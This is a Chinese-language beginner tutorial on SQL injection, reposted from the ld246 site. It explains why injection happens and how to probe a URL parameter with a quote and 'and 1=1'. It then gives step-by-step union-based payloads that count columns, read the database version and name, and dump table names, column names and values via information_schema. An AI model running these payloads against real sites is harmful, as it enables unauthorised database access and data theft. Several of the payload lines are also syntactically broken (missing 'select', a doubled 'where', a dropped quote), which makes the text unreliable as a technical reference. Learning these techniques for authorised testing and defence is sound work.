

渗透入门_SQL注入

作者: [GuiZi](#)

原文链接: <https://ld246.com/article/1648046031820>

来源网站: [链滴](#)

许可协议: [署名-相同方式共享 4.0 国际 \(CC BY-SA 4.0\)](#)

sql注入原理

sql注入就是指web应用程序对用户输入的数据合法性没有过滤或者判断，前端传入的参数是攻击者以控制的，并且参数可以带入数据库中执行，攻击者可以通过构造恶意的sql语句来实现对数据库进行任意操作

```
#$id= 1
$id = $_GET['id']
$sql = 'select * from user where id ="$id" limit 0,1'
#查找user表中id=1的第一行数据
```

sql注入漏洞产生的条件:

- 参数用户可控：前端传入的参数由用户控制
- 参数带入到数据库语句中执行：传入的参数拼接到SQL语句中，并带入数据库中执行

sql注入类型

按注入点分:

- 数字型
- 字符型
- 搜索

按提交方式分:

- GET
- POST
- HEAD
- COOKIE

按执行效果分:

- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的注入
- 联合查询注入

总结来说有:

联合注入，布尔注入，报错注入，时间注入，堆叠注入，二次注入，宽字节注入，cookie注入..

如何判断测试点是否存在sql注入

GET型:

1.在url链接中附加一个单引号，如：

<http://xxx.xxx.xxx/abc.php?p=1'>

此时abc.php中的SQL语句变成了

```
select * from 表名 where p = '1'  
#结果为abc.php运行异常
```

2.在url链接中附加字符串'and 1=1，如：

<http://xxx.xxx.xxx/abc.php?p=1' and 1=1>

测试结果为abc.php正常运行，以及结果与<http://xxx.xxx.xxx/abc.php?p=1'>的结果一致

3.在url中附加字符串'and 1 = 2，如：

<http://xxx.xxx.xxx/abc.php?p=1' and 1=2>

结果为abc.php运行异常

以上三种情况可测试abc.php中是否存在SQL注入漏洞

GET类型无防护注入

#预估的sql语句

```
select * from user where id =1
```

#判断这个user表，查询的出来的内容有多少个字段

```
select * from user where id =1 order by 4
```

#判断到字段数为4个，就可以利用union来查询显示位(id=-1是让页面显示我们后面查询的1,2,3,4,此判断哪些会位置会在页面显示)

```
select * from user where id =-1 union select 1,2,3,4
```

#拿敏感数据([version():版本信息],[database():数据库名])

```
select * from user where id =-1 union 1,2,version(),database()
```

#获取当前数据库中的一些表信息--->爆表

```
union 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
```

#获取所需表中的字段-->爆字段

```
union 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() where table_name = '所需表的名称'
```

#获取表中的值

```
union 字段1,字段2,字段3,字段4 from 表名 limit 0, 1
```